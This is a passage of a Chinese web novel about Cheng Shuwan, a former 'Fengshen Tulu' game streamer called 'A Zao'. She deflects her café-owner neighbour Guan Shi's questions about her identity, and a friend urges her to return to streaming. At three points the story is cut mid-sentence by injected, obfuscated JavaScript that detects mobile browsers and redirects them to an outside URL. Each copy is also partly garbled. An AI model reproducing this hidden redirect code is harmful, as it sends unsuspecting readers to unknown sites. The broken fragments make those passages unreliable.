“什么?”程舒晚猝不及防端住,塑料袋上印着药店的标志,里面是酒精,碘伏,纱布棉签一类应急处理品。 啊? 关时这是,专门跑去药店买了送上来? 就算是钢铁直女程舒晚,这会儿也忍不住闪过一瞬间的动容:“……你……” 关时:“你拿着酱油干什么,这个不兴洗伤口啊。” 程舒晚:“……” 感动,收回。 “我转你钱。”程舒晚拿着一袋子瓶罐,她还是不想欠关时的人情。 关时看她去拿手机,双手插兜靠在门框上,半眯着眼懒洋洋的,“哦,怎么转?” 程舒晚拿了放在茶几上的手机走回来:“我加你。” 关时“啊”地拉长音,意有所指:“以邻居身份?” 程舒晚:“……” 她捏着手机,面无表情地盯着关时,有种把手里的酱油瓶砸在对方脑门上的冲动。 这货是真记仇啊。 关时见她沉默,不由得失笑,站直起来,“我能进去吗?” 程舒晚:“干什么?” “比起转钱,你手上的口子洗一下先,”关时下巴点了点,“铁片划的,容易感染,你自己不方便处理。” 程舒晚无意识握了握左手,细密的针扎的感觉。 她侧过身,给关时拿了双居家拖鞋。 “打扰。”关时礼貌地进屋来。 程舒晚把那瓶被误解的酱油放回厨房,那袋药也被她一起拿进来了,厨房有水槽,操作空间也比洗手间大,可以在这里清洗伤口。她回头,关时在客厅打量几眼屋子,随后才慢一步走进来。 “你在看什么?”程舒晚问。 关时从袋子里拿出生理盐水打开,垂下眼,“我半年没来过了,看看。” “……”程舒晚没吱声。 关时的手干燥温热,轻轻捏着程舒晚的左手,用生理盐水冲了两趟。程舒晚盯着沉默许久,轻声问:“你以前和程舒恒,关系很好吗?” 关时“嗯”了声,拧上盖子,“还行。” 还行? 这是很微妙的回答。 程舒晚以为以关时的性子,肯定得蹦一句“那可是铁哥们儿”之类的话。 她手上的口子不深,关时拆了棉签和碘伏,动作轻柔地给她涂碘伏,“他来我家吃过饭,我也来这里打过边炉,在店里跟他打过游戏,那时候他还跟我提过你。” 程舒晚注意力被他上药的动作带偏,总觉得他好像对这个流程很熟练,听到他的话才回神来,“提我?” “他说他妹妹《封神图录》打得好。” “……”程舒晚撇了撇嘴,“还真是健谈。” 关时笑了声。 提到兄长,程舒晚有点儿感慨,又可能是这两天悲春伤秋的,难得多了点话:“他那人不喜欢说自己的事情,是把你当真朋友了吧。” 关时手上动作停了一瞬,随后才继续,“是吗。” 听起来兴致不怎么样。 程舒晚抬眸,关时个儿高,这会儿微微弯着腰拉近了距离,她能看见他长长的睫毛和深邃沉默的眉眼,似乎在出神。 她看着,不由得想起半年前,他支着脑袋抽着烟,雕塑般一动不动放空的场面。 那天,是程舒恒的葬礼。 她好像逐渐琢磨过来,为什么当初她会产生他们是不是同类的疑问,关时也许跟她一样,都是对程舒恒的离去感到迷惘,陷入自我折磨的人。 毕竟兄长……该怎么说呢。 他温和,文气,懦弱,看着像个普度众生又好欺负的泥菩萨,但他做出离去决定时,却仿佛是从柔软的袖袍里掏出十斤炸药二话不说直接引爆,没给任何人反应的时间和机会。 这种人,你以为你跟他好,但面对爆炸后的满地焦土,在脑子里搜寻他这么做的理由,却恍然大悟他可能根本没把你当真心能依靠的人。 兄长,残忍得别出心裁。 程舒晚还想说点什么,关时率先开口了,“其实我来,是有件事要坦白。” 程舒晚看着他,“嗯?” “我刚刚,”关时抬起眼瞄她一下,“偷听了一会儿。” “……” 程舒晚愣神,还没有从对兄长的感怀中反应过来,几秒后才意识到关时说的“刚刚”是什么时候。 草。 我就说要装个雷达吧! 怪不得开门拱飞宁松明的时机把握得那么刚好! 关时扔了棉签把碘伏拧紧,满面无辜地等待她的审判,程舒晚头疼地揉了揉太阳穴,一时不知道该说点什么。 他毕竟帮她膈应了宁松明,还买药来给她处理伤口,她说什么都不合适。 “你……”程舒晚顿了再顿,最后问了个实际的问题,“……听了多少?” “我想想,”关时歪着头露出思索的神色,在程舒晚的死亡凝视下慢慢笑了,“耿耿于怀?” 那不就是争执一开始吗! 程舒晚气得发笑。 关时道:“你搬来才三天就有人找茬了,这不是什么好事。” “我知道。”程舒晚说着,想到他之前孜孜不倦地“有事找我”宣言,抢先一步,“这跟你没关系,我能处理好,谢谢关心。” 她和宁松明的恩怨勉强算“家事”,确实不必要让关时知道太多。 关时也明白自己是个外人,不在意地耸耸肩换了个话头,“那,我有个别的问题想知道,可以么?” 程舒晚警告:“你别得寸进尺。” “啊,”他叹了口气,“好狠心。” “……”程舒晚心道这个男人怎么茶里茶气的,耐着性子道,“好吧,就一个问题,问。” 关时:“他说你曾是游戏主播?《封神图录》吗?账号叫什么?” “这是三个。”程舒晚看着他。 “那你回答最后一个。”关时笑眯眯道,“你的主播账号?” 程舒晚记得,很久之前还没退网的时候她曾想过,被粉丝认出来怎么办。 当时她做过好几个预案,可惜到最后都没用上,没人能从她那个几十块钱的破摄像头拍的手和麦克风录的音辨认出现实中这个半死不活的阴暗女大学生就是主播阿早。 后来闹到退网,她心中有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364884|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庆幸,还好现实生活中没人认出她来。 谁能想到时隔四年,现在居然有人要开她的盒。 “你问这个干什么?”程舒晚问。 关时:“你不准备回答?” “……”程舒晚抿嘴。 虽然是她自己说让他提问的,但她不想被开盒“阿早”这个身份,得糊弄过去。 电光火石之间,她脑子里闪过自己最初的游戏ID。 “小鬼叉烧。”她回答。 这当然是假的,只是个游戏ID而已,反正无名主播那么多,她扯个谎,关时也不可能查证。 但出乎程舒晚的意料,关时的目光似乎凝固了,片刻后,他重复问了一声:“什么?” “……小鬼叉烧。”程舒晚面不改色心不跳地胡说八道,“小主播,账号注销了,你肯定没听说过。” 关时看着她。 他的目光有点莫名,有点复杂,就好像在审视一道……知道结果但不知道推导过程怎么写的数学压轴题。 程舒晚不知道哪里出了什么问题,但依然硬着头皮与他对视。 不管如何,既然装了就要装到底。 忐忑的心提到最高的时候,关时才松开表情,带着若有似无的笑意“啊”了一声,“是啊,没听说过。” 程舒晚暗暗松了口气。 关时:“我还以为你会是阿早呢。” 程舒晚:“……” 这人果然就是奔着开盒她而来的。 关时低头微笑,把放在操作台上的生理盐水、碘伏什么的收到袋子里,“都做主播的话,你应该听过阿早?我以前经常刷到她的游戏直播,玩《封神图录》,不爱说话,女玩家,游戏技术很好——我还以为你们是同个人。” 程舒晚:“……让你失望了啊。” 她的心虚快从嘴里蹦出来了。 关时收拾完放药的袋子,提着拿出厨房放到茶几上:“手这两天就别碰水什么的,里面有创口贴,过会儿可以自己贴一下。” 程舒晚魂不守舍地“哦”了一声,半晌才补了句“谢谢”。 关时:“你扫我?” 程舒晚:“嗯?” “加好友啊。”关时看着她,笑了,“不是要转我钱?” 她还真忘了这茬,拿出手机扫了下关时的微信二维码。关时的头像是个贴着“木”的桔子,应该寓意“木吉网咖”的名字,微信名是…… “木吉网咖客服”。 程舒晚:“……” 她震惊地抬起头:“这是你工作号?” “不啊,私人号。”关时收起手机,“真正的老板会把工作放在第一位。” 程舒晚:“工作和生活不分开是剥削。” 关时:“我是老板。” “……哦。”程舒晚默了默,“不好意思,条件反射。” 关时笑了笑,“看来你的工作很累,这都还有空去我那儿打游戏,真是抬爱了。” 程舒晚脑子里闪过一大堆反驳,但这些思绪只是从脑子里路过就激起她的烦躁来,她打开门,干脆木着脸发出逐客令:“不送。” 关时摊手走到门口换鞋:“好无情。” 是啊,以前粉丝都叫我冷面杀手呢。程舒晚道:“多少钱,我转你。” “不用了。”关时弯眼一笑,“只是说笑而已,想加你好友真不容易。” 程舒晚:“……” 诡计多端的男人。 12. 阿早 “我可以再删掉你的。”她直白地说道。 “想删就删吧。”关时走出门,毫不在意地微翘嘴角,“我走了。” 删掉只是说说而已,程舒晚还没那么不知好歹,她站在门口目送,冲关时点了点头。 关时按下电梯按钮,等电梯的档口扭过头又问了句:“你之后还来店里玩儿吗?” 程舒晚:“再说吧。” “随时欢迎。”关时灿烂地扬起嘴角,“如果你还想做主播,我也有门路可以帮忙。” 程舒晚:“……” 怎么又拐回来到这件事上了。 目送关时进了电梯,程舒晚这才回身关上门。 手上的伤口一阵一阵的刺痒,她在沙发上坐下,安静而空荡的房子里,只能听见自己的呼吸声。 她闭上眼。 七年前她考上了海大,全国前十的院校,只身一人来到海宜。父母没有给她买电脑,她只能拿着兄长退位的老笔记本,日常做作业都够呛,开个大点儿的PPT等待时间能泡碗面,更别说拿来打游戏了。 她跟高中一样跑了一年的网吧,后来终于下定决心,打工、竞赛,攒钱给自己装了台台式电脑,为了不打扰宿舍其他卷王舍友的学习休息,又在学校外租了个五百块的单人间。 她想做直播。 程舒晚不知道自己为什么有这个决定,只隐隐约约记得,二更天曾在她焦虑学业时开玩笑地说,她游戏打得这么厉害,如果混不下去还能做个游戏主播,肯定火。 也许只是当年一个随口的玩笑,她却记了两年。 大二的时候程舒晚如愿以偿开始直播《封神图录》、制作相关视频,一做就是一年多,在即将升大四那年,游播社账号“阿早”积累了二十五万粉丝。 程舒晚不露脸,不整娱乐效果,不带粉,顶多就是和同样技术流的主播联动排位,这二十五万粉丝纯粹是因为她的技术,又或者因为“女玩家”的噱头而来,最后忠于实力。 二更天说的还真没错。 但升上大四之后,所有人都得为自己的前路做打算。 游戏主播,显然不是一个能被父母接受的职业,正巧当时,程舒晚最喜欢的《封神图录》战队俱乐部发来主播签约邀请。 举棋不定之时,她选择同年长六岁的兄长促膝长谈,授业解惑——兄长大学研究生毕业后选择回母校文山中学教书,程舒晚一直觉得他擅长授业解惑,毕竟性格温和柔软,能倾听她的踌躇。 这是她当年做下的,最错误的决定。 她几乎忘了兄长的性格除了温和柔软,他还懦弱,藏不住事。 所以,父母知道了。 “阿早”所承载的一切,在那年戛然而止。 退网过后,程舒晚再也没点开过自己的主页,她疯了一样扑在专业上,拿到了龙头企业的实习,学着不擅长的人情世故,遭到过排挤,嫉妒,潜规则,病痛,她像是不知疲倦和气馁的零件、机器,她不能,也不敢停下来。 只要停下,滚烫的,耀眼的回忆就会把她灼伤,提醒她,她失去了什么。 她告诉自己,忍住,待到独立,待到有话语权,没人能再剥夺的时候,她就能把所有东西拿回来。 但是,她似乎忍太久了。 日日风吹雨淋,热血也是会凉的。 闭上眼的时候,程舒晚什么都看不到,只觉得周围的空气宛如潮水四处涌来,把她拥在海底,无法呼吸。 她深吸一口气,想要再灌一口能充盈肺泡的空气,但依然是冷冷的窒息和恐惧。 算了吧。 算了。 关时刚刚进门,姚婉婷正好在玄关穿鞋,抬头看他一眼:“环保大使,垃圾扔到太空去了?” “碰上邻居多聊了两句而已。”关时笑了笑没多说,“去店里?” “去找小裴喝喝茶。” “小裴”就是裴哥,姚婉婷白手起家把网咖做大之前,裴哥就已经在这儿工作了,和他们家的关系已经超越了老板和员工,平日也时常走动。 “要我一起去吗?”关时问。 “哥!哥你总算回来了!快帮我!”关星玥的叫声突然从书房里传来,听这动静是打游戏又被虐了。 “叫你呢,赶紧的。”姚婉婷拍了拍关时,“别天天粘着我啊妈宝男,我忙得很。” “你这又是哪里学来的词就乱用啊。”关时笑着吐槽,转身走进书房。 关星玥坐在电脑前,转过头来,指着屏幕:“被他杀了好几次啦,打不过啦!” “听到了。”关时接过鼠标键盘,在椅子上坐下,随手点开对局信息看,嘲笑道,“开局十分钟死五次也是一种能耐。” 关星玥不满道:“我让你平时帮我打打日常,谁让你整天拿我的号去和胜哥他们排位,段位那么高我哪里打得过!” 关时自动过滤妹妹的控诉,操纵复活的人物离开基地,一边熟练地预购装备。 关星玥玩的是中路控制位的九尾狐,输出手段不足,但所有技能都带效果时间极长的控制,玩得好不好纯粹看技能释放准确不准确。 但正巧,中路控制位是关时最擅长的位置。 兵线相交,关时迎面碰上对面的控制位。 对面当然不知道这边换了人,先手就是一个技能扔了过来逼迫应战,带着等级、经济、操作都领先的傲慢,这个技能放得随随便便。 关时轻松规避,稳稳当当地反把技能放置在对方走位路线上。 命中,控制,随后所有技能都套了过去,瞬间把对方的血量打掉大半,趁着对方被控制无法动弹的时间优雅输出,收掉人头。 对面:“?” 关时敲字:“承让。” 关星玥很少看关时打游戏,她不知不觉看得入了迷,忍不住道:“你手好稳啊。” 关时笑了声,“基操。” “装。”关星玥哼道,一边看他把击杀数追平死亡数,感慨,“你以后还是玩自己的号吧,别给我打了,我害怕。” 关时随口回答:“我没号。” “你有。”关星玥拍了拍他的脑瓜,“我还有你好友,忘了?二更天啊。” 二更天。 关时手指下意识紧了紧,技能都放得偏了点儿,“哦,那个号。” “对啊,那个号。”关星玥看他。 但关时接下去什么都没说,把兵线推到对方高地之后找了个地方回城,随后从椅子上站起来,“经济应该碾压了,你缓着点打没问题。” “啊?”关星玥这才意识到关时刚刚一条命拿了八个人头,这鼠标和键盘顿时变得烫手起来,也顾不上去问“那个号”之后是什么了,连忙坐下,“你不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364885|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮我打完啊!” “要是这把大顺风都输,不如先把段位掉下去,可能更适合。”关时笑着走出书房。 “你好嘲讽啊,我要闹了!” 关时摸出烟跟打火机,去了阳台。 南方的春天向来短暂而无序,回南天估摸着要来了,阳台的风带着点潮湿的黏,不太舒服。关时一边把手臂撑在阳台沿上,一边摸出手机来,打开了游播社。 在搜索栏输入了“阿早”,点进了主页。 关时弃号退游是在七年前,但是四年前他偶然刷到阿早的直播间,还是看了一个多小时,并点了一个关注。 这个叫阿早的主播,跟他退游前的故人如出一辙。 女玩家,强技术,擅长千机鸟。 打野习惯是力量buff先开,支援习惯是中路先推进,突进习惯是大招起手后接一技能,游戏风格是忍耐与爆发交替的大开大合。 声音有八分相似,不爱说话,口癖是“嗯”和“滚”。 甚至。 都擅长不辞而别。 不过。 也同样擅长,以另一个身份重新出现。 关时轻轻吐出一口烟,脑子里浮现出程舒晚那张波澜不惊的脸,在沉默过后说出的那句话。 “小鬼叉烧。” 他没忍住,捏着烟轻轻笑了一下。 三月末,距离清明还有一段时日,朔江市率先迎来的是回南天。 这几天父母都没有再打来电话,宁松明也没再出现过,程舒晚得以苟延残喘,在木吉网咖打了好阵子游戏,但是当裴哥问出是否要办卡的时候,她依然拒绝了。 谭婧终于忙完了最重要的案子,给程舒晚发来了消息定了家小有情调的茶馆,两人得以见面。 谭婧是个外表利落的姑娘,留着飒爽的短发,五官自带英气,但在工作之余实际上是个聒噪的沙雕,泡着茶呢也不知道想到什么,一把拽着程舒晚就控诉她一声不吭辞职的事:“你怎么能抛下姐们儿在火海自己逍遥了!” 程舒晚给她晃得午饭都要吐了:“停停停,我没逍遥,房贷还在还。” 谭婧闻言撒开手,啧了声,“我说你们兄妹俩真是大孝。工作几年了,一个给自己买二手房,一个抠抠搜搜在市中心住月租一千八的鸽子笼,然后一合计给爹妈在新城区买了一百五十平的新房,哇,我真没这样的胸襟。” 程舒晚接过她冲泡的普洱茶,没说话。 谭婧也就是这么感慨一句,涉及家里的话题程舒晚向来不爱谈,她一边煮开水一边换了话头:“我看你脸色还行,比年前我出差去海宜见你的时候好多了。” “你别说。”程舒晚微微笑了笑,“没放过这么久的假,除了睡觉就是看小说打游戏,都有点恐怖了。” “你这是没闲过,不习惯了。” 程舒晚低头喝茶,谭婧也拿起自己的茶杯,一边打量着程舒晚。 虽然看起来脸色比以前要好,但是一如既往地沉默。 她不开心。 谭婧本来以为程舒晚的痛苦大部分来自于那份操蛋的工作,但现在看起来并不是,甚至可能正因为辞了职,真正烦心的事情才姗姗露出水面。 “晚啊。”谭婧叫她。 程舒晚:“嗯?” 谭婧直戳了当开口:“我觉得你还是不痛快。” 13. 孤身 “……”程舒晚捏着茶杯的动作停滞,随后才扯了扯嘴角,“你说什么呢,有钱有闲,怎么不痛快。” “这话骗骗姐们儿得了……哦,你连姐们儿都骗不过。”谭婧哼笑道,“我见过你真正痛快的样子。” 程舒晚:“……” 谭婧家以前是她家对门,两人从小一起长大,谭婧知道她几乎所有事情,非常了解她。 程舒晚瞒不过谭婧。 “我看你最近游戏基本天天在线,”谭婧道,“你没有什么想法?” 对于重新做直播这件事。 谭婧没有明说,但是程舒晚都能猜到。 “没什么想法。”程舒晚轻描淡写地回答。 茶室里安静半晌,只有水烧开咕嘟咕嘟的声音。谭婧把水壶拿起来,沏了一壶新茶,“我觉得你心气还在。” 程舒晚眼睫颤了颤。 “当年你没做错什么。”谭婧看她,“不就是父母不同意么,不就是子虚乌有的污蔑和造谣么,如果这些事再发生,现在的你有一万种方法去应对,我也有能力支持你。” "我知道。"程舒晚垂眸。 谭婧不解地瞅着她,“那你在担心什么?” 程舒晚来回摩挲着杯口。 某种意义上来说,她很羡慕谭婧。 谭婧是个执行力拉满的行动派,想到什么就会去做,想要什么就自己去争,父母也不会指指点点,因为她走得远,他们也指点不了什么,只站在原地为她兜兜底。 谭婧永远都能向前奔跑。 但她不一样。 她所做的所有事情每一件最后都会被搞砸,没有人给她兜底,她也没有真正疗愈的地方。 打碎牙齿往肚子里咽的感觉,她已经怕了。 谭婧:“别告诉我你想的是‘反正没人在乎我就这样烂掉吧还比较安全不会受伤’?这样的想法?” 程舒晚:“……” 她没说话,低头喝了口茶。 “嘿,我这暴脾气。”谭婧当她默认了,牙疼地揍了她一拳,“我最烦你这张有事不跟姐们儿说的嘴脸。” 程舒晚苦笑一下,“婧,不一样。” 谭婧看着她半晌,转头去掏自己的背包,“戏挺多。” 她从包里拿出了笔记本电脑。 电脑? 程舒晚愣了一下,第一反应是“天哪这里有个天选打工人,休假的驴出门还要带上自己的磨”,随后看到谭婧当着她的面登录了游播社,点进阿早的主页,立刻反应过来她想干什么。 她伸手就去盖上谭婧的电脑屏幕。 谭婧早有准备,往旁边一闪,点开四年前程舒晚最后发布的直播请假动态,直奔评论区。 程舒晚:“我不看啊!” “你不看就不看,我念给你听。”谭婧得逞地笑了,“突然想起阿早了,回来把巅峰系列重新看了一遍。” 她! 把评论! 念出来了! 程舒晚心里有十万只金鱼草同时爆发出撕心裂肺的尖叫,捂着耳朵蜷进沙发当自闭蘑菇:“你闭嘴!” 谭婧懒得理她,手里抱着笔记本,身体往程舒晚的方向倾倒,孜孜不倦地念起来。 “现在的主播风气不如当年,还是阿早活跃那两年这个圈子最有意思。” “早姐是不是在努力生活啊,我也要加油。” “什么时候回来?” “当年莫名其妙的造谣和节奏是不是真的给阿早打自闭了,可是我真的想你了早,你快回来吧,有喷子我帮你骂!” “以前出新人物都会来看阿早的攻略,这几年的新人物都没有了,怀念。” “想你了姐妹。” “复活吧!劳早!” 程舒晚拿着抱枕把自己藏起来,但谭婧声情并茂的朗读还是源源不断传进耳朵,她差点要把楼板尬穿。 就像小时候为了反叛,在语文考试时把作文乱写一通结果还拿了高分被老师在讲台当范文朗读,但周遭同学都在笑一样。 谭婧就是那个不知死活念范文的。 念了十来条,谭婧终于停下来歇了口气,调侃程舒晚:“大主播?” 程舒晚死尸一样挺了半晌,这才把靠枕拿掉,眼睛如同锋利的飞刀扔了过来:“谭大驴你找死。” “看来你就没亲自去看过主页。”谭婧“呵”一声盖上笔记本,“看,粉丝都在等你。” 程舒晚一言不发地坐起来,把头发整理好。 谭婧:“我说……” 程舒晚烦躁打断:“换个话题。” 谭婧笑着抱手臂,“行。” 两人喝了一下午茶,谭婧晚上还有饭局,于是五六点钟就各自分别。 程舒晚琢磨一下打车的价格和距离,最后还是选择坐十二站的地铁,不用换乘,倒还方便。 能省五十块钱。 正是晚高峰,地铁上乌泱泱的,脚尖碰脚跟,拥挤而安静,潮湿闷热的空气中弥漫着疲倦的气息。程舒晚缩着身体倚靠在门边的角落,微微垂着眼盯着地面。 这种拥挤,在某个瞬间仿佛让她回到没辞职之前。 她几乎没有准点下班过,偶尔能赶上晚高峰,偶尔会错过末班车,拖着死狗一样的身体,过热的大脑啪地关机,拖着水当当的脑仁儿回到二十平方的鸽子笼,洗漱完倒下就能睡着。 那时候她根本提不起劲儿去考虑未来和梦想,没有什么能比得过真金白银,毕竟那是真切握在手中的,能拥有的东西。 除此之外,她一无所有。 她当年大概是选错了吧。 但现在,就是能再做一次选择的时候了吗?还是不了吧,她的运气一向很差。 “下一站,大荷。” 耳边响起地铁的播报,程舒晚放空的大脑神游回来,看向头顶的线路图。 跟随人群走出地铁站的时候天色已经暗下,程舒晚找之前常去的小饭馆吃晚饭,在街上漫无目的地逛了半晌。 她不太习惯这种脑子里明明很满,却连根线头都理不出来的感觉,甚至开始怀念起辞职之前那种忙得嘴啃屁股的日子,至少没这么无措。 她深吸一口气,鼻腔里都是潮湿的风。 “舒晚。” 突然有人叫她,声音熟悉。程舒晚转过头,路边的商铺跟前,关时正一手插兜一手捏着还没点燃的香烟,笑盈盈地跟她打招呼,“今天也来?” 来什么? 她抬起头,这才发觉已经走到小区外,正站在木吉网咖门前,网咖灯火通明,微暖的灯光和低调的木色装潢看起来十分舒适,即便是工作日的晚上也依然坐满了人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364886|183889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >看到她略显茫然的表情,关时挑了挑眉,“只是路过吗?” 程舒晚盯着他片刻,垂眼走进木吉网咖。 来都来了。 反正也不知道去哪。 站前台上班的依然是小贾,他已经认识程舒晚了,微笑着冲她点点头,在电脑前点了几下,随后“啊”了一声,“单人间满了,大厅可以吗?我给你开人少的机子?” 程舒晚没什么要求:“啊,行。” “好。我看看……C区24号,在这边。” C区在大厅靠里的位置,不如外面热闹,一大把空位,小贾也知道她喜静,开了个前后左右都没有人的位置。程舒晚坐下开了机,握着鼠标移到《封神图录》的图标上,正准备打开游戏,突然停顿下来。 鬼使神差的,她打开了浏览器,登陆小号进入游播社,在搜索栏输入了“阿早”。 主页跳出来的时候,她心脏都停了一下,盯着主页做了五分钟的心理准备,这才去点自己四年前最后发的那条动态。 “今晚直播暂停。” 言简意赅的通知动态,而在这条动态之后她就再也没有登陆,也没有发布过相关的任何解释。 这条动态底下的评论超过了十五万条。 程舒晚深吸一口气,点开了时间排序。 -赛博扫墓,有些感慨。 谢谢,人还活着。程舒晚在心里默默回复。 -感觉阿早走后我连代餐都找不到,四年了! 找什么代餐,我这个寡言少语只会骂傻逼的女主播有什么看的必要。程舒晚再次腹诽。 -每日一问,阿早今天回来了吗? 潜水偷窥呢。程舒晚继续往下划。 她一开始每条都在腹诽吐槽,但到后面就闭了心里那张嘴——太多了,每天都有几十条新留言,有些头像和ID重复出现好多次,坚持不懈每天都来按爪,看看她什么时候回来。 谭婧说粉丝都在等她。 程舒晚看着看着,暗自叹了口气,感觉肩上的担子更沉重了。 她何德何能呢。 程舒晚关掉了网页,重新打开《封神图录》,登陆“小鬼叉烧”账号。刚刚登上游戏,身边座位的椅子被拉开,一个青年坐了下来。 这片空位很多,怎么有人偏偏坐在自己旁边,程舒晚不由得侧目快速打量一眼旁边坐的人。 这青年长相端正,穿着骚包亮眼的夹克,笑眯眯地抬手打招呼:“嗨,美女!” 程舒晚快速收回目光,没想引起他的注意,但事与愿违,这青年估计也是闲的,乘着转椅滑了过来,嬉皮笑脸地指了指程舒晚屏幕上的《封神图录》,“一个人玩儿吗?” “无可奉告。”程舒晚回答。 “别那么冷漠嘛,”青年厚脸皮道,“排位吗?能不能带我一个呀?我玩突进很厉害的,带你上分。” “为什么找我,”程舒晚转过头,认真问道,“你没朋友吗?” 青年:“……美女你嘴粹毒一样。” 程舒晚:“我叫网管了。” “诶别,求你,姐姐。”青年连忙坐正了,见程舒晚一副油盐不进的样子,忍不住叹了口气,“聊两句嘛。我朋友狗得要死肯定打两把就溜,我这不得找找游戏搭子嘛。” “游戏搭子”四个字让程舒晚双手一顿。 14. 醋意 “游戏搭子?”她转头过来,笑了笑,“我对游戏搭子的要求很高,你够格吗?” 青年一听似乎有戏,打了个响指得意道:“当然!我是‘破’境界,很快晋级‘极’境界哦!” “境界”在《封神图录》里就是俗称的段位,总共有十境界,低境界“尘、凡、灵”,中境界“星、月、阳”,高境界“破、极、无上”,还有巅峰境界“封神”。 普通玩家一般在中境界徘徊,厉害点儿的能上“破境界”,都说这个“破”是“突破”的意思,在这个段位就是大厮杀分水岭,只有超过“破”成为“极”才是真正意义上的高手玩家。 也难怪这青年这么得意,这个水平的确能让一堆普通玩家抱大腿了,但可惜程舒晚不是普通玩家,她鼠标点了几下,亮出自己的境界。 无上境界。 比“破”还要高出两个境界。 “你够格吗?”程舒晚歪头问,颇有挑衅的模样。 “姐。”青年哑然半晌,咳嗽两声,连称呼都改了,“是我失礼了。” 程舒晚对这波装逼的效果感到满意,正准备戴上耳机,突然又被青年拦住了。 “不然,”青年踌躇地傻笑两声,“你带带我吧,大佬。” 程舒晚:“……” 完了,装逼装过头了。 她深深地看了青年一眼,有点无语又有些好笑,总觉得这个狗里狗气的姿态似乎在哪见过,“你……认识老板吗?” “老板?你说关时?”青年眼睛亮了亮,“你果然跟关……” “苏新胜。”有个熟悉的声音叫道,打断了青年的话。 程舒晚侧目,关时正从不远处的走道走来,在三米开外站定,朝程舒晚微笑当做打招呼,随后看向青年,眼皮一耷拉,眼神肉眼可见地凉下去:“过来。” 果然是认识的,程舒晚瞥向身边脸色一下心虚的青年,忍不住心底幸灾乐祸地暗笑。 关时总是和气的模样,但程舒晚觉得他身上有种别样的气质,导致他收起笑面无表情震慑别人的时候,看起来常常很唬人。 ……有点帅。 嗯,只有一点。 苏新胜叹了口气不情不愿站起来,向程舒晚比了个手势,“大佬姐,我一会儿回来,务必等等我!大恩大德,没齿难忘!” 大恩大德不至于……而且我没有答应,程舒晚腹诽,刚张嘴,关时投来了目光。 程舒晚刚刚就猜测这个苏新胜是关时的朋友,想了想,最后也没当着关时的面说出对他朋友的不满,免得折煞关老板的脸面。 关时笑了一下:“玩得愉快。” 程舒晚:“嗯。” 她目送他俩一块儿走向外头,回头戴上了耳机。 “准备带我去哪?开台机子先呐。”苏新胜一边跟着关时走,一边对他呱呱叫,“有话说?什么事啊非得……” 话没说完,关时脚步一顿,停了下来。 苏新胜立刻自动掐断了声音,两相沉默中,略带忐忑地盯着关时的后脑勺,“喂,到底干啥。” 关时双手插兜,终于慢慢转过身来,脸上没有情绪地看着他,“不继续说了?” 苏新胜:“……” 关时:“知道心虚啊?” 苏新胜:“……咳,时哥,听我狡辩……我靠!” 关时不等他说完就抬起腿踹了过来,苏新胜往旁边弹射起步还是没躲过,屁股上挨了一蹬,差点在众目睽睽下拥抱大地,不禁扭头过来狂吠:“喵的我就是给你面子你还真踹啊关狗!” “你说呢?”关时似笑非笑说着,收回脚,“我说过你爱玩随时来玩但别骚扰我客人吧,你不是拍着胸脯保证了?” “我就说你不够意思也不坦率。”苏新胜龇牙咧嘴地揉着屁股站直溜了,“要真是你客人我当然不会没分寸……啊呸,刚刚我也很有分寸,但你敢说那美女真单纯是你客人?” 关时没有回答,懒懒地耷着眼皮盯他。 苏新胜嗤一声:“我就知道不是,刚刚人从门口进去你眼睛都盯直了知道吗?烟灰老长都没弹,十五的烟你给空气孝敬了十块钱的,咋不见你对哥们儿这么大方?” 关时:“……” 他一时间没说话,苏新胜抓着头发挠了挠,“诶,介绍介绍?那美女谁?” “邻居。”关时用两个字简单概括了一下,“你刚刚跟她说什么了?” 苏新胜挑眉,从他的语气当中捕捉到一丝探究,似乎明白了什么,勾起嘴角贱兮兮地凑近,“想知道?猜猜啊?” 关时盯着他片刻,终于冰雪消融似的偏头笑了出来,“苏新胜,我平时对你太好了是吧?” “啧,玩不起。”苏新胜举起双手投降,“没聊骚也没提你,就是想跟她一起打游戏。” 关时微怔:“游戏?《封神图录》?” 苏新胜:“啊对。” 关时双手环抱胸前沉默须臾,有些心不在焉地捻了捻手指,“她同意了?” 苏新胜想了想,“她同意了……吗?嘶,好像没点头,但我让她等我,她没拒绝。” 关时:“……” 他记得刚刚苏新胜让程舒晚等一会儿,她没什么烦躁的表情,还看了站在旁边的自己一眼,没说拒绝的话。 明明之前在小区,两人第一回见面的时候,她宁可自己大包小包拎行李都要冷脸回绝他的帮助。 啧。 关时轻抿嘴,心里有阵说不上来的感觉,不太爽快。 苏新胜没注意到关时的沉默,挥舞着手唾沫横飞:“我刚刚看见她段位了,无上境界的大佬!那个连胜你知道有多少吗?五十七场!排位!连胜!五十七场!我喵的,要是让她带带我,今晚我不就能晋级?” 